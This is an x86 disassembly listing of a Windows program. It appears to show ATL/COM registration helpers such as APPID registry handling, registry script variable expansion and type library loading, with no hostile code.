		mov	eax, [edi+0Ch]
		test	eax, eax
		jz	short loc_4021E6
		push	esi
		call	sub_401BB0
		mov	dword ptr [edi+0Ch], 0


loc_4021E6:				; CODE XREF: sub_402170+67j
		mov	eax, [edi+28h]
		test	eax, eax
		jz	short loc_4021F3
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+8]


loc_4021F3:				; CODE XREF: sub_402170+7Bj
		add	edi, 10h
		push	edi
		call	ds:dword_40F054	; RtlDeleteCriticalSection
		mov	dword ptr [esi], 0


loc_402203:				; CODE XREF: sub_402170+60j
		pop	edi
		pop	esi
		retn
sub_402170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402210	proc near		; CODE XREF: WinMain(x,x,x,x)+123p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebp
		push	esi
		mov	esi, [ecx+2Ch]
		xor	eax, eax
		test	esi, esi
		push	edi
		jz	short loc_402285
		cmp	dword ptr [esi], 0
		jz	short loc_402285
		mov	ebp, ds:dword_40F27C


loc_402228:				; CODE XREF: sub_402210+6Fj
		test	eax, eax
		jnz	short loc_402299
		mov	[esp+10h+var_4], eax
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_402277
		mov	edx, [esi+0Ch]
		lea	ecx, [esp+10h+var_4]
		push	ecx
		push	offset dword_40F3CC
		push	edx
		call	eax
		mov	edi, eax
		test	edi, edi
		jl	short loc_402267
		mov	ecx, [esp+10h+arg_4]
		mov	edx, [esp+10h+arg_0]
		lea	eax, [esi+14h]
		push	eax
		mov	eax, [esp+14h+var_4]
		push	ecx
		mov	ecx, [esi]
		push	edx
		push	eax
		push	ecx
		call	ebp
		mov	edi, eax


loc_402267:				; CODE XREF: sub_402210+3Bj
		mov	eax, [esp+10h+var_4]
		test	eax, eax
		jz	short loc_402275
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+8]


loc_402275:				; CODE XREF: sub_402210+5Dj
		mov	eax, edi


loc_402277:				; CODE XREF: sub_402210+25j
		mov	ecx, [esi+24h]
		add	esi, 24h
		test	ecx, ecx
		jnz	short loc_402228
		test	eax, eax
		jnz	short loc_402299


loc_402285:				; CODE XREF: sub_402210+Bj
					; sub_402210+10j
		mov	eax, [esp+10h+arg_4]
		mov	ecx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	offset dword_412540
		call	sub_401B00


loc_402299:				; CODE XREF: sub_402210+1Aj
					; sub_402210+73j
		pop	edi
		pop	esi
		pop	ebp
		pop	ecx
		retn	8
sub_402210	endp


; =============== S U B	R O U T	I N E =======================================



sub_4022A0	proc near		; CODE XREF: WinMain(x,x,x,x)+253p
		push	esi
		mov	esi, [ecx+2Ch]
		xor	eax, eax
		test	esi, esi
		push	edi
		jz	short loc_4022D2
		cmp	dword ptr [esi], 0
		jz	short loc_4022D2
		mov	edi, ds:dword_40F264


loc_4022B6:				; CODE XREF: sub_4022A0+2Cj
		test	eax, eax
		jnz	short loc_4022DC
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_4022C4
		push	eax
		call	edi


loc_4022C4:				; CODE XREF: sub_4022A0+1Fj
		mov	ecx, [esi+24h]
		add	esi, 24h
		test	ecx, ecx
		jnz	short loc_4022B6
		test	eax, eax
		jnz	short loc_4022DC


loc_4022D2:				; CODE XREF: sub_4022A0+9j
					; sub_4022A0+Ej
		push	offset dword_412540
		call	sub_401B60


loc_4022DC:				; CODE XREF: sub_4022A0+18j
					; sub_4022A0+30j
		pop	edi
		pop	esi
		retn
sub_4022A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4022E0	proc near		; CODE XREF: sub_402730+EAp
					; sub_402730+165p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		add	eax, 8
		push	eax		; Size
		mov	esi, ecx
		call	_malloc
		add	esp, 4
		test	eax, eax
		jnz	short loc_4022FB
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4022FB:				; CODE XREF: sub_4022E0+15j
		mov	ecx, [esi]
		mov	[eax], ecx
		mov	[esi], eax
		add	eax, 8
		pop	esi
		retn	4
sub_4022E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402310	proc near		; CODE XREF: sub_4030B0+37p
					; .text:004031E5p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		jnz	short loc_40231F
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40231F:				; CODE XREF: sub_402310+9j
		push	edi
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		mov	[esp+0Ch+arg_0], 0
		call	sub_401E30
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jnz	short loc_40234B
		push	edi
		call	ds:dword_40F194
		pop	edi
		mov	eax, 8007000Eh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40234B:				; CODE XREF: sub_402310+28j
		lea	eax, [esp+8+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D80
		push	edi
		mov	esi, eax
		call	ds:dword_40F194
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_402310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402370	proc near		; DATA XREF: .rdata:0040F594o
		add	ecx, 8
		push	ecx
		call	ds:dword_40F098	; InterlockedIncrement
		retn
sub_402370	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402380	proc near		; DATA XREF: .rdata:0040F59Co
		mov	eax, [ecx+8]
		retn
sub_402380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402390	proc near		; DATA XREF: .rdata:0040F5A0o

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		jnz	short loc_4023A2
		mov	eax, 80004003h
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_4023A2:				; CODE XREF: sub_402390+7j
		mov	eax, [ecx+28h]
		push	esi
		lea	esi, [ecx+28h]
		push	edi
		xor	edi, edi
		test	eax, eax
		jnz	short loc_4023CA
		push	esi
		push	offset dword_40F508
		push	1
		push	edi
		push	offset dword_40F39C
		call	ds:dword_40F26C
		mov	edi, eax
		test	edi, edi
		jl	short loc_4023D6


loc_4023CA:				; CODE XREF: sub_402390+1Ej
		mov	eax, [esi]
		mov	[ebx], eax
		mov	esi, [esi]
		mov	ecx, [esi]
		push	esi
		call	dword ptr [ecx+4]


loc_4023D6:				; CODE XREF: sub_402390+38j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_402390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4023E0	proc near		; DATA XREF: .rdata:0040F5A8o
					; .rdata:0040F5ACo
		mov	eax, 80004005h
		retn	10h
sub_4023E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4023F0	proc near		; DATA XREF: .rdata:0040F5A4o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [eax]
		push	offset dword_40F524
		push	offset aAppid_0	; "APPID"
		push	eax
		call	dword ptr [ecx+0Ch]
		retn	4
sub_4023F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402410	proc near		; CODE XREF: sub_4025B0+122p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		jnz	short loc_40242F
		xor	eax, eax
		lea	esp, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_40242F:				; CODE XREF: sub_402410+Fj
		call	off_412040
		push	ebx
		mov	[ebp+arg_0], eax
		xor	esi, esi
		call	ds:dword_40F040	; lstrlenW
		lea	edi, [eax+eax+2]
		cmp	edi, 400h
		jg	short loc_40246B
		push	edi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_40246B
		mov	eax, edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_402486
; ---------------------------------------------------------------------------


loc_40246B:				; CODE XREF: sub_402410+3Bj
					; sub_402410+48j
		lea	eax, [edi+8]
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		jz	short loc_402486
		mov	dword ptr [eax], 0
		mov	esi, eax
		add	eax, 8


loc_402486:				; CODE XREF: sub_402410+59j
					; sub_402410+69j
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	edi
		push	ebx
		push	eax
		call	sub_401240
		mov	edi, eax
		push	edi
		call	ds:dword_40F084	; lstrlen
		mov	ecx, [ebp+var_4]
		push	eax
		push	edi
		call	sub_4015D0
		test	esi, esi
		mov	edi, eax
		jz	short loc_4024C1
		jmp	short loc_4024B0
; ---------------------------------------------------------------------------
		align 10h


loc_4024B0:				; CODE XREF: sub_402410+9Bj
					; sub_402410+AFj
		mov	eax, esi
		mov	esi, [esi]
		push	eax		; Memory
		call	_free
		add	esp, 4
		test	esi, esi
		jnz	short loc_4024B0


loc_4024C1:				; CODE XREF: sub_402410+99j
		mov	eax, edi
		lea	esp, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_402410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4024D0	proc near		; CODE XREF: sub_402550+3p
					; sub_4050C0+A5p ...
		push	esi
		lea	esi, [ecx+4]
		mov	dword ptr [ecx], offset	off_40F528
		mov	ecx, esi
		call	loc_402040
		mov	ecx, esi
		call	loc_402040
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4024FD
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	dword ptr [esi], 0


loc_4024FD:				; CODE XREF: sub_4024D0+1Cj
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_402514
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	dword ptr [esi+4], 0


loc_402514:				; CODE XREF: sub_4024D0+32j
		mov	dword ptr [esi+8], 0
		pop	esi
		retn
sub_4024D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402520	proc near		; DATA XREF: .rdata:off_40F528o
		mov	eax, 80004001h
		retn	0Ch
sub_402520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402530	proc near		; DATA XREF: .rdata:0040F52Co
		mov	eax, 1
		retn	4
sub_402530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402540	proc near		; DATA XREF: .rdata:0040F530o
		xor	eax, eax
		retn	4
sub_402540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_402550(void *Memory,char)

sub_402550	proc near		; DATA XREF: .rdata:0040F53Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4024D0
		test	[esp+4+arg_0], 1
		jz	short loc_402568
		push	esi		; Memory
		call	j__free
		add	esp, 4


loc_402568:				; CODE XREF: sub_402550+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_402550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402570	proc near		; CODE XREF: sub_4025B0+114p

arg_0		= byte ptr  4

		push	esi
		lea	esi, [ecx+4]
		lea	eax, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401C80
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40258B
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40258B:				; CODE XREF: sub_402570+13j
		test	eax, eax
		jl	short loc_40259E
		cmp	eax, [esi+8]
		jge	short loc_40259E
		mov	ecx, [esi+4]
		mov	eax, [ecx+eax*4]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40259E:				; CODE XREF: sub_402570+1Dj
					; sub_402570+22j
		push	0
		push	0
		push	1
		push	0C000008Ch
		call	ds:dword_40F044	; RaiseException
		int	3		; Trap to Debugger
sub_402570	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4025B0	proc near		; CODE XREF: sub_404BA0+25p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 2Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+3Ch+arg_0]
		xor	ebp, ebp
		cmp	edi, ebp
		mov	esi, ecx
		jz	loc_40271A
		mov	ebx, [esp+3Ch+arg_4]
		cmp	ebx, ebp
		jz	loc_40271A
		push	edi
		mov	[ebx], ebp
		call	ds:dword_40F084	; lstrlen
		shl	eax, 1
		cmp	eax, 64h
		jge	short loc_4025E8
		mov	eax, 3E8h


loc_4025E8:				; CODE XREF: sub_4025B0+31j
		push	eax
		mov	[esp+40h+var_2C], ebp
		mov	[esp+40h+var_28], eax
		call	ds:dword_40F25C
		cmp	eax, ebp
		mov	[esp+3Ch+var_24], eax
		jz	loc_402682
		mov	byte ptr [eax],	0
		mov	[esi], edi
		cmp	byte ptr [edi],	0
		mov	[esp+3Ch+arg_0], ebp
		jz	short loc_402663
		mov	ebx, ds:dword_40F230
		mov	ebp, ds:dword_40F09C
		lea	ecx, [ecx+0]


loc_402620:				; CODE XREF: sub_4025B0+A7j
		mov	edi, [esi]
		cmp	byte ptr [edi],	25h
		push	edi
		jnz	short loc_402634
		call	ebx	; CharNextA
		mov	edi, eax
		mov	[esi], edi
		cmp	byte ptr [edi],	25h
		jnz	short loc_402698
		push	edi


loc_402634:				; CODE XREF: sub_4025B0+76j
		call	ebx	; CharNextA
		sub	eax, edi
		push	eax
		lea	ecx, [esp+40h+var_2C]
		push	edi
		call	sub_4015D0
		test	eax, eax
		jz	loc_40270D


loc_40264B:				; CODE XREF: sub_4025B0+12Dj
					; sub_4025B0+13Ej
		mov	eax, [esi]
		push	eax
		call	ebx	; CharNextA
		mov	ecx, eax
		mov	[esi], eax
		cmp	byte ptr [ecx],	0
		jnz	short loc_402620
		mov	ebx, [esp+3Ch+arg_4]
		mov	eax, [esp+3Ch+var_24]
		xor	ebp, ebp


loc_402663:				; CODE XREF: sub_4025B0+5Fj
		mov	[esp+3Ch+var_24], ebp
		mov	[ebx], eax


loc_402669:				; CODE XREF: sub_4025B0+14Bj
					; sub_4025B0+158j ...
		mov	edx, [esp+3Ch+var_24]
		push	edx
		call	ds:dword_40F260
		mov	eax, [esp+3Ch+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 2Ch
		retn	8
; ---------------------------------------------------------------------------


loc_402682:				; CODE XREF: sub_4025B0+4Dj
		push	ebp
		call	ds:dword_40F260
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 8007000Eh
		pop	ebx
		add	esp, 2Ch
		retn	8
; ---------------------------------------------------------------------------


loc_402698:				; CODE XREF: sub_4025B0+81j
		push	25h
		push	edi
		call	sub_401770
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_402700
		mov	ecx, [esi]
		sub	eax, ecx
		cmp	eax, 1Fh
		jg	short loc_4026F3
		inc	eax
		push	eax
		push	ecx
		lea	eax, [esp+44h+var_20]
		push	eax
		call	ebp	; lstrcpyn
		lea	ecx, [esp+3Ch+var_20]
		push	ecx
		mov	ecx, [esi+4]
		call	sub_402570
		test	eax, eax
		jz	short loc_402700
		push	eax
		lea	ecx, [esp+40h+var_2C]
		call	sub_402410
		test	eax, eax
		jz	short loc_40270D
		cmp	[esi], edi
		jz	loc_40264B


loc_4026E3:				; CODE XREF: sub_4025B0+13Cj
		mov	edx, [esi]
		push	edx
		call	ebx	; CharNextA
		cmp	eax, edi
		mov	[esi], eax
		jnz	short loc_4026E3
		jmp	loc_40264B
; ---------------------------------------------------------------------------


loc_4026F3:				; CODE XREF: sub_4025B0+100j
		mov	[esp+3Ch+arg_0], 80004005h
		jmp	loc_402669
; ---------------------------------------------------------------------------


loc_402700:				; CODE XREF: sub_4025B0+F7j
					; sub_4025B0+11Bj
		mov	[esp+3Ch+arg_0], 80020009h
		jmp	loc_402669
; ---------------------------------------------------------------------------


loc_40270D:				; CODE XREF: sub_4025B0+95j
					; sub_4025B0+129j
		mov	[esp+3Ch+arg_0], 8007000Eh
		jmp	loc_402669
; ---------------------------------------------------------------------------


loc_40271A:				; CODE XREF: sub_4025B0+11j
					; sub_4025B0+1Dj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 80004003h
		pop	ebx
		add	esp, 2Ch
		retn	8
sub_4025B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402730	proc near		; CODE XREF: sub_4029F0+28p
					; sub_402A90+2Dp

var_11C		= byte ptr -11Ch
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		push	ebx
		push	esi
		push	edi
		jz	loc_4029CD
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	loc_4029CD
		mov	dword ptr [ecx], 0
		mov	dword ptr [eax], 0
		call	off_412040
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		push	ecx
		mov	[ebp+var_4], 0
		call	ds:dword_40F0A4	; GetModuleFileNameA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4027AA
		call	sub_4013E0
		lea	ecx, [ebp+var_4]
		mov	esi, eax
		call	sub_401C60
		mov	eax, esi
		lea	esp, [ebp-128h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4027AA:				; CODE XREF: sub_402730+58j
		cmp	ebx, 104h
		jnz	short loc_4027CE
		lea	ecx, [ebp+var_4]
		call	sub_401C60
		mov	eax, 8007007Ah
		lea	esp, [ebp-128h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4027CE:				; CODE XREF: sub_402730+80j
		lea	edx, [ebp+var_11C]
		push	edx
		call	ds:dword_40F1B4
		mov	edi, [ebp+arg_4]
		test	edi, edi
		mov	[ebp+arg_0], eax
		jz	short loc_402858
		push	edi
		call	ds:dword_40F040	; lstrlenW
		lea	esi, [eax+eax+2]
		cmp	esi, 400h
		jg	short loc_402816
		push	esi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_402816
		mov	eax, esi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_40281F
; ---------------------------------------------------------------------------


loc_402816:				; CODE XREF: sub_402730+C6j
					; sub_402730+D3j
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_4022E0


loc_40281F:				; CODE XREF: sub_402730+E4j
		mov	ecx, [ebp+var_C]
		push	ecx
		push	esi
		push	edi
		push	eax
		call	sub_401240
		mov	esi, eax
		test	esi, esi
		jz	loc_402972
		push	esi
		call	ds:dword_40F084	; lstrlen
		add	eax, ebx
		cmp	eax, 10Eh
		jnb	loc_4028F4
		push	esi
		lea	edx, [ebp+ebx+var_11C]
		push	edx
		call	ds:dword_40F0A0	; lstrcpy


loc_402858:				; CODE XREF: sub_402730+B3j
		lea	eax, [ebp+var_11C]
		push	eax
		call	ds:dword_40F084	; lstrlen
		mov	esi, eax
		inc	esi
		lea	edi, [esi+esi]
		cmp	edi, 400h
		ja	short loc_402891
		push	edi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_402891
		mov	eax, edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_40289A
; ---------------------------------------------------------------------------


loc_402891:				; CODE XREF: sub_402730+141j
					; sub_402730+14Ej
		push	edi
		lea	ecx, [ebp+var_4]
		call	sub_4022E0


loc_40289A:				; CODE XREF: sub_402730+15Fj
		mov	ebx, [ebp+var_C]
		push	ebx
		push	esi
		lea	ecx, [ebp+var_11C]
		push	ecx
		push	eax
		call	sub_401200
		mov	esi, eax
		test	esi, esi
		jz	loc_402972
		mov	edx, [ebp+arg_C]
		push	edx
		push	esi
		call	ds:dword_40F1A0
		mov	edi, eax
		test	edi, edi
		jge	loc_40299F
		mov	eax, ds:dword_40F540
		mov	cl, ds:byte_40F544
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], cl
		mov	edx, eax
		lea	ecx, [ebp+var_11C]
		sub	edx, ecx
		add	edx, 5
		cmp	edx, 104h
		jbe	short loc_402910


loc_4028F4:				; CODE XREF: sub_402730+113j
		lea	ecx, [ebp+var_4]
		call	sub_401C60
		mov	eax, 80004005h
		lea	esp, [ebp-128h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_402910:				; CODE XREF: sub_402730+1C2j
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	ds:dword_40F0A0	; lstrcpy
		lea	eax, [ebp+var_11C]
		push	eax
		call	ds:dword_40F084	; lstrlen
		mov	esi, eax
		inc	esi
		lea	edi, [esi+esi]
		cmp	edi, 400h
		ja	short loc_402954
		push	edi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_402954
		mov	eax, edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_40295D
; ---------------------------------------------------------------------------


loc_402954:				; CODE XREF: sub_402730+204j
					; sub_402730+211j
		push	edi
		lea	ecx, [ebp+var_4]
		call	sub_4022E0


loc_40295D:				; CODE XREF: sub_402730+222j
		push	ebx
		push	esi
		lea	ecx, [ebp+var_11C]
		push	ecx
		push	eax
		call	sub_401200
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40298E


loc_402972:				; CODE XREF: sub_402730+FFj
					; sub_402730+180j
		lea	ecx, [ebp+var_4]
		call	sub_401C60
		mov	eax, 8007000Eh
		lea	esp, [ebp-128h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_40298E:				; CODE XREF: sub_402730+240j
		mov	edx, [ebp+arg_C]
		push	edx
		push	esi
		call	ds:dword_40F1A0
		mov	edi, eax
		test	edi, edi
		jl	short loc_4029B4


loc_40299F:				; CODE XREF: sub_402730+195j
		push	esi
		call	ds:dword_40F190
		test	eax, eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jnz	short loc_4029B4
		mov	edi, 8007000Eh


loc_4029B4:				; CODE XREF: sub_402730+26Dj
					; sub_402730+27Dj
		lea	ecx, [ebp+var_4]
		call	sub_401C60
		mov	eax, edi
		lea	esp, [ebp-128h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------


loc_4029CD:				; CODE XREF: sub_402730+11j
					; sub_402730+1Cj
		mov	eax, 80004003h
		lea	esp, [ebp-128h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_402730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4029F0	proc near		; CODE XREF: sub_4047C0+78p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		mov	edx, [esp+8+arg_4]
		push	esi
		lea	eax, [esp+0Ch+var_8]
		push	eax
		mov	eax, [esp+10h+arg_0]
		lea	ecx, [esp+10h+var_4]
		push	ecx
		push	edx
		push	eax
		mov	[esp+1Ch+var_4], 0
		mov	[esp+1Ch+var_8], 0
		call	sub_402730
		mov	esi, eax
		test	esi, esi
		jl	short loc_402A6A
		mov	eax, [esp+0Ch+var_8]
		mov	ecx, [eax]
		lea	edx, [esp+0Ch+arg_4]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	esi, eax
		test	esi, esi
		jl	short loc_402A6A
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [eax+14h]
		mov	edx, [eax+10h]
		push	ecx
		push	edx
		xor	ecx, ecx
		mov	cx, [eax+1Ah]
		xor	edx, edx
		mov	dx, [eax+18h]
		push	ecx
		push	edx
		push	eax
		call	ds:dword_40F19C
		mov	edx, [esp+0Ch+arg_4]
		mov	esi, eax
		mov	eax, [esp+0Ch+var_8]
		mov	ecx, [eax]
		push	edx
		push	eax
		call	dword ptr [ecx+30h]


loc_402A6A:				; CODE XREF: sub_4029F0+31j
					; sub_4029F0+46j
		mov	eax, [esp+0Ch+var_8]
		test	eax, eax
		jz	short loc_402A78
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402A78:				; CODE XREF: sub_4029F0+80j
		mov	edx, [esp+0Ch+var_4]
		push	edx
		call	ds:dword_40F194
		mov	eax, esi
		pop	esi
		add	esp, 8
		retn	8
sub_4029F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402A90	proc near		; CODE XREF: sub_404730+78p

Source		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
Dest		= word ptr -208h
var_2		= word ptr -2
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 210h
		mov	edx, [esp+210h+arg_0]
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+21Ch+arg_4]
		lea	eax, [esp+21Ch+var_20C]
		push	eax
		lea	ecx, [esp+220h+Source]
		push	ecx
		push	edi
		xor	ebp, ebp
		push	edx
		mov	[esp+22Ch+Source], ebp
		mov	[esp+22Ch+var_20C], ebp
		call	sub_402730
		mov	esi, eax
		cmp	esi, ebp
		jl	short loc_402B35
		mov	eax, [esp+21Ch+Source]
		push	103h		; Count
		push	eax		; Source
		lea	ecx, [esp+224h+Dest]
		push	ecx		; Dest
		call	_wcsncpy
		add	esp, 0Ch
		cmp	edi, ebp
		mov	[esp+21Ch+var_2], bp
		jz	short loc_402B12
		push	ebx
		mov	ebx, ds:dword_40F040
		lea	edx, [esp+220h+Dest]
		push	edx
		call	ebx	; lstrlenW
		push	edi
		mov	esi, eax
		call	ebx	; lstrlenW
		sub	esi, eax
		lea	edx, [esp+esi*2+220h+Dest]
		mov	ecx, eax
		mov	esi, edx
		xor	eax, eax
		repe cmpsb
		pop	ebx
		jnz	short loc_402B12
		mov	[edx], bp


loc_402B12:				; CODE XREF: sub_402A90+59j
					; sub_402A90+7Dj
		lea	esi, [esp+21Ch+Dest]
		call	sub_401A40
		mov	edx, [esp+21Ch+Source]
		mov	ecx, esi
		push	ecx
		mov	[esp+eax*2+220h+Dest], bp
		mov	eax, [esp+220h+var_20C]
		push	edx
		push	eax
		call	ds:dword_40F178
		mov	esi, eax


loc_402B35:				; CODE XREF: sub_402A90+36j
		mov	eax, [esp+21Ch+var_20C]
		cmp	eax, ebp
		jz	short loc_402B43
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402B43:				; CODE XREF: sub_402A90+ABj
		mov	edx, [esp+21Ch+Source]
		push	edx
		call	ds:dword_40F194
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		add	esp, 210h
		retn	8
sub_402A90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_402B60	proc near		; CODE XREF: sub_404730+53p
					; sub_4047C0+4Ap ...

var_11C		= byte ptr -11Ch
var_9C		= byte ptr -9Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 11Ch
		push	ebx
		mov	ebx, [ebp+6Ch+arg_4]
		test	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+6Ch+var_4], 0
		jz	loc_402E35
		mov	edi, [ebp+6Ch+arg_0]
		mov	eax, [edi]
		cmp	eax, ds:dword_40FC6C
		jnz	short loc_402BB2
		mov	ecx, [edi+4]
		cmp	ecx, ds:dword_40FC70
		jnz	short loc_402BB2
		mov	edx, [edi+8]
		cmp	edx, ds:dword_40FC74
		jnz	short loc_402BB2
		mov	eax, [edi+0Ch]
		cmp	eax, ds:dword_40FC78
		jz	loc_402E35


loc_402BB2:				; CODE XREF: sub_402B60+2Bj
					; sub_402B60+36j ...
		lea	ecx, [ebp+6Ch+var_4]
		push	ecx
		push	offset dword_40F580
		push	1
		push	0
		push	offset dword_40FC5C
		call	ds:dword_40F26C
		test	eax, eax
		jge	short loc_402BF3
